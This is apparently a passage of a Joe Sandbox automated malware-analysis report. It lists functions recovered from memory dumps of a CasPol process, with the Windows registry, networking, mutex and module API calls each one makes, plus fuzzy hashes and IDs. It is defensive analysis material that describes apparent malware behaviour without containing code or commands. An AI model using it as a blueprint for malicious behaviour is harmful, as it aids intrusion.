RegEnumKeyExW.KERNEL32(?,00000EA4,?,?), ref: 1F9B13B6

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: Enum
String ID:
API String ID: 2928410991-0
Opcode ID: 6e12a8da7e6e4c544910dc5b7784f55dbf357596c23efbc603ba9c7da2d925eb
Instruction ID: 4d3c4b44699a457860ca80cc22a47046e4936e25b5d8e3e00beaf37097cc45f1
Opcode Fuzzy Hash: 6e12a8da7e6e4c544910dc5b7784f55dbf357596c23efbc603ba9c7da2d925eb
Instruction Fuzzy Hash: 7931716254E3C06FD3138B358C25A51BFB4EF87610B0D80CBD9C48F2A3D225A959DBB6

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B2279 Relevance: 1.6, APIs: 1, Instructions: 85synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNEL32(?,?), ref: 1F9B2319

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: adf4db29b044f23bb6ce57ec2c5a6cf41d595bb8898943efcf5b89eec2540f83
Instruction ID: 4205477d45d2b4efd43196f7d74642740b9cfa3bf676e405c2b370c574a35cb4
Opcode Fuzzy Hash: adf4db29b044f23bb6ce57ec2c5a6cf41d595bb8898943efcf5b89eec2540f83
Instruction Fuzzy Hash: B93175B1509380AFE712CB65CC45F56FFE8EF05610F0885AEE984CF292D365A908CB65

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B2370 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

shutdown.WS2_32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1F9B2404

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: shutdown
String ID:
API String ID: 2510479042-0
Opcode ID: 951dcff22d55d74a444bd2a7d245a666b3c6aab19cc25639b5b8e5bee6024aca
Instruction ID: 5402d046404a32a382cb9dee2574ac452e9e59e73952a82ddc84de479bcbcc06
Opcode Fuzzy Hash: 951dcff22d55d74a444bd2a7d245a666b3c6aab19cc25639b5b8e5bee6024aca
Instruction Fuzzy Hash: C3213B715083806FE712CF51DC84F52BFA8EF42720F1884DEE9448F193D365A90AC762

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B340E Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(?,00000EA4), ref: 1F9B34B3

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: getaddrinfo
String ID:
API String ID: 300660673-0
Opcode ID: 822b85912ccd15ad5fe9c06a5396d7db62c5449b913e63578cf2d54534ac7f67
Instruction ID: e72d881fadec0d6a8d3f8de004ddf7b3177f570ad7a5e5159142c2bfea2f4da6
Opcode Fuzzy Hash: 822b85912ccd15ad5fe9c06a5396d7db62c5449b913e63578cf2d54534ac7f67
Instruction Fuzzy Hash: BD21BCB1100304AFFB21DB64DC85FA6F7ACEF44720F04895AEE489A281D6B5A509CB75

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B2B9A Relevance: 1.6, APIs: 1, Instructions: 83registryCOMMON

Download Yara Rule

APIs

RegNotifyChangeKeyValue.KERNEL32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1F9B2C44

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: ChangeNotifyValue
String ID:
API String ID: 3933585183-0
Opcode ID: 37fbb2b3873000806d762728e733e8877c76bbf40f3b644d9bad08cba150040a
Instruction ID: bedff39a3d4132b3ca25a1b025cbc7baa70e93581d39fc79c6ffbb901c6e6a7f
Opcode Fuzzy Hash: 37fbb2b3873000806d762728e733e8877c76bbf40f3b644d9bad08cba150040a
Instruction Fuzzy Hash: 4C31C172409384AFEB12CB60DC44F96FFA8EF46710F08899AE9849F152D364A509CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B29A0 Relevance: 1.6, APIs: 1, Instructions: 83registryCOMMON

Download Yara Rule

APIs

RegOpenCurrentUser.KERNEL32(?,00000EA4), ref: 1F9B2A39

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: CurrentOpenUser
String ID:
API String ID: 1571386571-0
Opcode ID: 2b41c0d639df5f168188fc87cb63d6453e428d0a21e88bcc2e9f52c369c986a9
Instruction ID: 0da053d260081dc826bb4a9a47f616ec960ddaa8eb4d48e595524ee1d532aadc
Opcode Fuzzy Hash: 2b41c0d639df5f168188fc87cb63d6453e428d0a21e88bcc2e9f52c369c986a9
Instruction Fuzzy Hash: DA21E1B14083806FE7128B659C45F66BFB8EF46710F0884DFED848F193D264A909CB72

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B13E2 Relevance: 1.6, APIs: 1, Instructions: 83registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000EA4), ref: 1F9B1476

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: c5208164f98c3a53f6c5ac3cedf46be725108f16f4aa07ddae0cf80524e38fe4
Instruction ID: 14ccdaa56ac460dc61f4f0976e5b364c8386134ea7aa6a172e276ed917ddefe3
Opcode Fuzzy Hash: c5208164f98c3a53f6c5ac3cedf46be725108f16f4aa07ddae0cf80524e38fe4
Instruction Fuzzy Hash: 7121BFB2504344AFE7228B61DC45FA7FFACEF45620F08849EED44CB292D364A808CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDADE5 Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1CFDAE76

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: daf60c89cb2295877fc41c6c7d9a526469b5c334ec6a59ca60300a23222aa3b7
Instruction ID: 0e491dfd52d8c25d8a88c22be83b602a48102e4f31d8a919c49ecad0f564a065
Opcode Fuzzy Hash: daf60c89cb2295877fc41c6c7d9a526469b5c334ec6a59ca60300a23222aa3b7
Instruction Fuzzy Hash: 3621D671509380AFE712CB65DC45FA7BFA8DF42610F08849AE944CB152D364E809CB75

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDAEDC Relevance: 1.6, APIs: 1, Instructions: 81COMMON

Download Yara Rule

APIs

K32GetModuleBaseNameW.KERNEL32(?,00000EA4,?,?), ref: 1CFDAF82

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: BaseModuleName
String ID:
API String ID: 595626670-0
Opcode ID: c05173747e7d35b562e837e4b43485d668622d4f64a1d0b90ed7a5d77740b9a3
Instruction ID: 719a857a1874307d8611461e84c57adff48694c45f6a24049d5488af6580f82f
Opcode Fuzzy Hash: c05173747e7d35b562e837e4b43485d668622d4f64a1d0b90ed7a5d77740b9a3
Instruction Fuzzy Hash: 0621B4715093C06FD312CB65CC55B66BFB4EF47610F0984DBD8848F1A3D224A919CBB6

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B2454 Relevance: 1.6, APIs: 1, Instructions: 79timeCOMMON

Download Yara Rule

APIs

GetProcessTimes.KERNEL32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1F9B24DD

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: ProcessTimes
String ID:
API String ID: 1995159646-0
Opcode ID: d6e1d6be2a9bc8c211e4e1e4cb0be7458e5075e57015a06dd7f550c8a2130fcc
Instruction ID: 8984a7e2d399d5776926e2fc068c4a5794686caba8e0f7345c6d70b3f9319bca
Opcode Fuzzy Hash: d6e1d6be2a9bc8c211e4e1e4cb0be7458e5075e57015a06dd7f550c8a2130fcc
Instruction Fuzzy Hash: EF21B271109384AFE7128F65DC44F57BFB8EF46710F08849EE9859F192C375A409CB65

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B2AC6 Relevance: 1.6, APIs: 1, Instructions: 78registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000EA4), ref: 1F9B2B45

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 1334f0167571bae2eddf4e69e6ac65631a116b3153c54a501082dfb4487a6f2c
Instruction ID: 934514f4aee9c8a88e1d78d886d19c5c3f59658ebe69591da1cfba59d4899e7c
Opcode Fuzzy Hash: 1334f0167571bae2eddf4e69e6ac65631a116b3153c54a501082dfb4487a6f2c
Instruction Fuzzy Hash: EC219DB2500304AFE722DF65DC45FAAFBACEF44620F04856EED448B281D720E5098AB5

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B1EE2 Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

OpenFileMappingW.KERNELBASE(?,?), ref: 1F9B1F6D

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: FileMappingOpen
String ID:
API String ID: 1680863896-0
Opcode ID: 3f1fcff5d069fcd4b7271f394b569ee0904382694b032b68ef9d655b62ebb565
Instruction ID: 07aaa9bdd26532ed02d5d3bcff6186f76fb5bae57e71b14387442071b06d5bab
Opcode Fuzzy Hash: 3f1fcff5d069fcd4b7271f394b569ee0904382694b032b68ef9d655b62ebb565
Instruction Fuzzy Hash: 7521B1B1508380AFE711CB65CC45F56FFA8EF05620F08859EE9848F292D375E948CB66

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDA722 Relevance: 1.6, APIs: 1, Instructions: 77registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EA4,?,?), ref: 1CFDA7BE

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: a2d16e9d06b9609dc07344d2a4a4aec287569fe5d5808708a69835dee023400e
Instruction ID: 0e1583c0f33e96a2d18f41565d27c0b8d2a245e40b105548978144272b150cc3
Opcode Fuzzy Hash: a2d16e9d06b9609dc07344d2a4a4aec287569fe5d5808708a69835dee023400e
Instruction Fuzzy Hash: 2B21F8755093C06FD3138B258C51B62BFB8EF87A10F0981CBE9848F693D2256919C7B6

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B1A0F Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,?,?,?,?), ref: 1F9B1A8C

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: f939d58d84f1f9987df90ad246adf2a930b4eba27b9b6e4dd2ddcc456b532aac
Instruction ID: b74b3f865cac004c5cc9fe8e18cbc7f6909ff0564f36fbc4a4484d91f2f81d66
Opcode Fuzzy Hash: f939d58d84f1f9987df90ad246adf2a930b4eba27b9b6e4dd2ddcc456b532aac
Instruction Fuzzy Hash: 29219C714093C0AFD7138B659C55AA2BFB4EF07220F0985DEE9C48F2A3C225A949CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B1D52 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(?,00000EA4), ref: 1F9B1DC3

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: DescriptorSecurity$ConvertString
String ID:
API String ID: 3907675253-0
Opcode ID: b20a60b1eb452e51bfbffa30b6d1a5370ac7eff8f25d83ab4d49ff802214043e
Instruction ID: 73ea97be49efd375d4ccf3c6c94a014c9d10afa991d9e4493bac92af9bcf5766
Opcode Fuzzy Hash: b20a60b1eb452e51bfbffa30b6d1a5370ac7eff8f25d83ab4d49ff802214043e
Instruction Fuzzy Hash: 6B21BEB2600304AFEB219F65DC45FABBBACEF44620F04856EED45DB281D360E4598A65

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B056E Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?), ref: 1F9B05ED

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 705690aaa718387b92195bb111ff9301bbc85040451b67283c2a797c6bcf311e
Instruction ID: 895fb42874ee4cf1952867d721af352a91a7073212a12dd37aff1d6b42241982
Opcode Fuzzy Hash: 705690aaa718387b92195bb111ff9301bbc85040451b67283c2a797c6bcf311e
Instruction Fuzzy Hash: 51219C71504204AFE721DF66DD85F56FBE8EF08620F04856DE9888B6A1E371E508CB65

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDBE8C Relevance: 1.6, APIs: 1, Instructions: 76libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,00000EA4), ref: 1CFDBF27

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 3d6e11aa3b4120b29f1b62efc51420ec257b67ad17576d39ac3840246f983a8f
Instruction ID: 36c0d26b06ae378986ca5b88b3c6563daa6a6b9e5d1ddfa85322009a05315ed0
Opcode Fuzzy Hash: 3d6e11aa3b4120b29f1b62efc51420ec257b67ad17576d39ac3840246f983a8f
Instruction Fuzzy Hash: 9421F8710093806FE712CF55CC81F92FFA8DF46720F0880DAE9845F192C264A949CB72

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDA54A Relevance: 1.6, APIs: 1, Instructions: 74registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000EA4), ref: 1CFDA5C9

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 8bed18813f5c3b807d99aa4db0d1560c3437472e58542092be274785f1117f8f
Instruction ID: 042729b705655a0f47e715d7382a589d14675962f95af2304a29005b6c963990
Opcode Fuzzy Hash: 8bed18813f5c3b807d99aa4db0d1560c3437472e58542092be274785f1117f8f
Instruction Fuzzy Hash: 6221CFB2500304AFF7219B65DC81F6BFBACEF48620F08855AF9448B241D764E408CAB9

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B35BE Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

GetAdaptersAddresses.IPHLPAPI(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1F9B364D

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: AdaptersAddresses
String ID:
API String ID: 2506852604-0
Opcode ID: 5dd7431e1cb27e228432e358cfa0d0e511e5729ece600e26d61eaf3ec8ba968a
Instruction ID: 6537494f431e534798a1acfbacadb33f5d339927c5584ef16f57d2d0846aa0c5
Opcode Fuzzy Hash: 5dd7431e1cb27e228432e358cfa0d0e511e5729ece600e26d61eaf3ec8ba968a
Instruction Fuzzy Hash: CA21B075408380AFE7128B519C85F96FFB8EF46610F08819BE9848F293C365A409CB62

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B2CC6 Relevance: 1.6, APIs: 1, Instructions: 73registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000EA4), ref: 1F9B2D3A

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 24190568c56b65d1f5e2d9a5ffb29e7c83cbbe6306f0767509e54fe71e2f341b
Instruction ID: 63c1c168b026940dd4ebca3de33f0b9b0fa7c53556bc30bbb8bc3bdcc30d5412
Opcode Fuzzy Hash: 24190568c56b65d1f5e2d9a5ffb29e7c83cbbe6306f0767509e54fe71e2f341b
Instruction Fuzzy Hash: 4821A1B1500304AFE7229F65DD45F6AFBACEF44720F04899EED448B281D374E409CAB5

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B1402 Relevance: 1.6, APIs: 1, Instructions: 73registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000EA4), ref: 1F9B1476

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a527d0a1e0cebeeffa72a03d3c1d76f1b91f87c49f3613606524d6cb1b93c9d6
Instruction ID: b25fffdc81546eb2eb9d43a659687a0b84731a27ed6bffd93ec7db8acd250596
Opcode Fuzzy Hash: a527d0a1e0cebeeffa72a03d3c1d76f1b91f87c49f3613606524d6cb1b93c9d6
Instruction Fuzzy Hash: 5E218EB1500304AFE7219F65DD45FAAFBACEF84720F08895EED449B281D374E449CAB5

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B2806 Relevance: 1.6, APIs: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAEventSelect.WS2_32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1F9B288A

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: EventSelect
String ID:
API String ID: 31538577-0
Opcode ID: 6c37965aa0e091d3d9b5f2c265dc1e54831e0ec65f9d2faabfe7a9b96a474714
Instruction ID: 87ca0140a43c5666e47f56158f14f42c20e1d2a482a7af680621353dd507c301
Opcode Fuzzy Hash: 6c37965aa0e091d3d9b5f2c265dc1e54831e0ec65f9d2faabfe7a9b96a474714
Instruction Fuzzy Hash: 962180B2508384AFE712CB65DC84F97FBACEF45610F0884ABE9849F152D364A508CB75

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B094E Relevance: 1.6, APIs: 1, Instructions: 73fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1F9B09CD

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: e67dbdccd79e84833c6b95397ab1bd02a489d0b15caabb120ab273789d231f19
Instruction ID: d985d56b08ec19c0566e7294cb9efee3fcba524e406fd3ef7f30a919b9f0ff08
Opcode Fuzzy Hash: e67dbdccd79e84833c6b95397ab1bd02a489d0b15caabb120ab273789d231f19
Instruction Fuzzy Hash: BD21C272404344AFE7228F91DC44F67BBA8EF45710F04849AE9449B152D265A819CB75

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B22A6 Relevance: 1.6, APIs: 1, Instructions: 72synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNEL32(?,?), ref: 1F9B2319

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: d5d89632f77c13d58aa8d08fa02c7935557952e8164eb491d5c8369fa1b424a1
Instruction ID: 4c4efef82c25fe21d88409d6ec16528aba248d80661dc0e13cd15af80c27929d
Opcode Fuzzy Hash: d5d89632f77c13d58aa8d08fa02c7935557952e8164eb491d5c8369fa1b424a1
Instruction Fuzzy Hash: CE216A71604240AFE712DB65D985F96BBE8EF04A20F0885AEE9448B281D775E904CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B2646 Relevance: 1.6, APIs: 1, Instructions: 72networkCOMMON

Download Yara Rule

APIs

WSAIoctl.WS2_32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1F9B26C1

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: Ioctl
String ID:
API String ID: 3041054344-0
Opcode ID: 41f05ef117753b8b220f5c4d5d811ef52cd767b24ad5fd62fcd0ea0ff46db891
Instruction ID: 9eb88240968061bf3247408e5d63601ad1896e8c6f69d1c91b104728e784c25a
Opcode Fuzzy Hash: 41f05ef117753b8b220f5c4d5d811ef52cd767b24ad5fd62fcd0ea0ff46db891
Instruction Fuzzy Hash: 08215975500604AFEB229F55DD84FA6BBE8EF48710F0485AEE9458A291D371E809CA61

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B28D4 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

RasConnectionNotificationW.RASAPI32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1F9B2963

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: ConnectionNotification
String ID:
API String ID: 1402429939-0
Opcode ID: b8a3b32a5638f2e4faa7414c5752a3ac0003652258fc9c55714ac831db026bfc
Instruction ID: 512148f407dbea16f413a1ce921f11bc5c27d57dd86199e312c1fec256854a4b
Opcode Fuzzy Hash: b8a3b32a5638f2e4faa7414c5752a3ac0003652258fc9c55714ac831db026bfc
Instruction Fuzzy Hash: 8521C5B54093846FE7128B11DC45F66FFB8EF42710F0984DBE9849F193D265A508C776

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B368A Relevance: 1.6, APIs: 1, Instructions: 69networkCOMMON

Download Yara Rule

APIs

WSAConnect.WS2_32(?,?,?,?,?,?,?), ref: 1F9B370E

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: Connect
String ID:
API String ID: 3144859779-0
Opcode ID: e08072f41b32dd1dc7ee7e3cf838cb80d996f3e7102b36c26a8d228a09cf07d0
Instruction ID: bff22ae903a234a4891dc0cfd27a5f869424508c8fa467f07fa8c5a2eea4bf5a
Opcode Fuzzy Hash: e08072f41b32dd1dc7ee7e3cf838cb80d996f3e7102b36c26a8d228a09cf07d0
Instruction Fuzzy Hash: 6B218C764093C09FDB12CF61C885A92FFB4EF06710F0984DEE9858F263D271A819DB61

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B150E Relevance: 1.6, APIs: 1, Instructions: 69registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1F9B1580

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 160a60d72e1991be9a6b09c5ece26002f65aefa635d4b1acaa417283ee525deb
Instruction ID: 48b6f9afa7358bfcaa1a7ca46d78ce107df5034cdb97e90d270485c6ac1c4fee
Opcode Fuzzy Hash: 160a60d72e1991be9a6b09c5ece26002f65aefa635d4b1acaa417283ee525deb
Instruction Fuzzy Hash: 8B21ACB5604200AFEB21DF65DC80F96BBECEF44710F04856EE9458B291D3B1E548CAB5

Uniqueness

Uniqueness Score: -1.00%

Function 1F9B2547 Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1F9B25C3

Memory Dump Source

Source File: 0000000B.00000002.6780948845.000000001F9B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F9B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f9b0000_CasPol.jbxd

Similarity

API ID: ioctlsocket
String ID:
API String ID: 3577187118-0
Opcode ID: 064dd0d9197eebba2b3936a22880525c3509c9e1962a2060972cabe7ad9fd887
Instruction ID: f1a464f8ab57c6699bf9e9dd6e722b094c41c2df1ec5d907168b28b80b125d1c
Opcode Fuzzy Hash: 064dd0d9197eebba2b3936a22880525c3509c9e1962a2060972cabe7ad9fd887
Instruction Fuzzy Hash: FC218E71509384AFE712CF65DC84F56FFA8EF46610F0884ABE9849F192C375A508CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 1CFDA652 Relevance: 1.6, APIs: 1, Instructions: 69registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EA4,8EDCC860,00000000,00000000,00000000,00000000), ref: 1CFDA6CC

Memory Dump Source

Source File: 0000000B.00000002.6745148023.000000001CFDA000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFDA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfda000_CasPol.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: fe57c229fe1752bbc9c5d5b3709b5182086694338c2a8aecbedcf0a1287d8d50
Instruction ID: 21b6789abc1b94a59528b26b6def3a8eb2d4250eb46adbc10a272998a5f414f8
Opcode Fuzzy Hash: fe57c229fe1752bbc9c5d5b3709b5182086694338c2a8aecbedcf0a1287d8d50
